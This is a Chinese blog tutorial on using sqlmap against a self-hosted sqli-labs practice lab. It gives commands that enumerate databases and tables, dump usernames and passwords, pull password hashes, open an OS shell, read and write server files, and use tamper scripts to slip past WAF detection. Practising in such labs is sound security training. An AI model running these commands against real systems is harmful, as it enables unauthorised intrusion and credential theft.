sql注入工具sqlmap的使用

背景

经常听说sql注入,我们开发程序需要使用预编译,因为我们的sql需要编译才能执行,我们先使用?代替参数,将sql进行编译,然后参数传入过来,如果其中包含非法的语句,因为得不到编译而无法执行,那么如何亲自玩一下sql注入呢?

  1. 这个文章是接着堡垒机搭建的,所用到的一些工具也可以参照上篇文章进行下载,本文使用sqlmap,对搭建的sql注入平台进行注入练习。
  2. 打开kali系统,这个系统里有sqlmap环境,可以直接使用,打开终端,输入sqlmap -u sql注入平台的访问地址,例如我的就是http://192.168.220.129/sqli-labs/Less-1/?id=1;回车就会进行执行,如图。
    在这里插入图片描述在这里插入图片描述如最后一张图,告诉你sqlmap一共找到的注入点,而且告诉你是用什么方式找到的,比如’ AND 6304=6304 AND ‘IAjH’='IAjH这个注入点,他是使用error-based找到的。
  3. 这个只是简单的参数注入,当多个参数时需要加双引号如sqlmap -u "http://192.168.220.129/sqli-labs/Less-1/?id=1&uid=2",但是,我们更多的时候还是需要使用上cookie等参数的,这个时候直接使用命令行就不太好了,sqlmap是支持文本注入的,我们可以创建一文本,然后使用命令sqlmap -r 1.txt ,-r一般是存在cookie注入时使用。txt内容如下
    在这里插入图片描述运行结果如下
    在这里插入图片描述
  4. 通过上面的命令,我们可以知道该网址存在注入,那么我们就可以查询当前用户下的所有数据库,使用命令sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --dbs,当我们接下来操作是,–dbs就可以缩写成-D,如下图可看出有8个数据库,可以看出我们堡垒机中创建的数据库基本都被扫描出来了。
    在这里插入图片描述
  5. 我们来继续深入,查看security数据库有哪些表使用命令sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 -D security --tables,这下我们又成功了,可以看到security下有四张表我们可以继续获取表字段,这时候–tables就可缩写成-T。
    在这里插入图片描述
  6. 查看security库中users的表字段,使用命令 sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 -D security -T users --columns,可以看到该表有三个字段,感觉自己赚到了,一下子找到了用户和密码了,–coumns缩写成-C我们继续。
    在这里插入图片描述
  7. 我们继续获取表数据,使用命令sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 -D security -T users -C username, password --dump,可以看到会出现下面的结果。
    在这里插入图片描述这个不是我们要的结果呀,难道是加密了,不不不,其实是我们命令中password和“,”中有空格,去掉就可以看到正确的结果了。
    在这里插入图片描述
  8. 如果这些都是小儿科的,我们还有获取数据库其它用户命令,当然当前用户如果有所有用户的表的权限时才行,使用如下命令 sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --users,如下图我们有八个用户
    在这里插入图片描述
  9. 有了用户还得获取用户密码,使用命令sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --passwords,获取的密码是hash,sqlmap提供了破解尝试方案,当然用户可以直接使用mysql
    10.5密码在线破解

    在这里插入图片描述
  10. 获取当前使用数据库命令sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --current-db
    在这里插入图片描述
  11. 获取当前数据库用户命令sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --current-user
    在这里插入图片描述
  12. 上面这些命令基本就是日常使用的了,当然不能少了-level,这个是注入的等级,默认是1,所以我们上面的命令都是在level为1的情况下进行的注入,level一共分5个等级,2级时就可以进行cookie注入,3级时可以进行HTTP User-Agent/Referer注入,如果不知道哪个参数为注入点时,可以使用等级5,速度会很慢,但是很全面。
  13. 接下来是一堆命令和解释命令前缀都是sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1
命令解释
–is-dba判断当前用户是否是管理员
–roles列出当前用户可见的管理员角色
–referer伪造http来源,进行欺骗
–sql-shell执行自定义sql语句,这个输入完后终端出现等待输入光标,输入完成后分号结尾,回车执行
–os-cmd,–os-shell模拟一个真实的shell终端,可以执行系统命令,很牛逼的
–file-read在数据库服务器上读取文件
–file-write xxx --file-dest xxxx上传文件到数据库服务器上
–identify-waf检测是否有waf/ids/ips安全防护
–tamper 脚本名如果有防护,使用脚本进行修改注入sql绕过检测,比如base64encode.py脚本将sql转为base64编码
  1. 关于脚本的编写,大家可以参考sqlmap自带的脚本来写,自带的脚本在安装目录,如果找不到安装目录,可以使用命令whereis sqlmap然后一个路径一个路径的找,我的就是/usr/share/sqlmap路径下的tamper
    在这里插入图片描述
    tamper脚本的基本格式就是priority模块定义优先级防止多个脚本同时使用,dependencies定义什么情况下脚本可以使用,一般空着,tamper(payload,**kwargs)这个是具体的处理逻辑,将出入的payload替换,返回新的payload。
    在这里插入图片描述

总结

如何谁建的网站没有做sql注入防护,那牛逼了,就等着服务器被别人托管吧,不仅可以改你的数据库,还可以执行系统命令,相当于人家用shell连接你服务器,可不就是托管了,大家还是涨点心吧。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值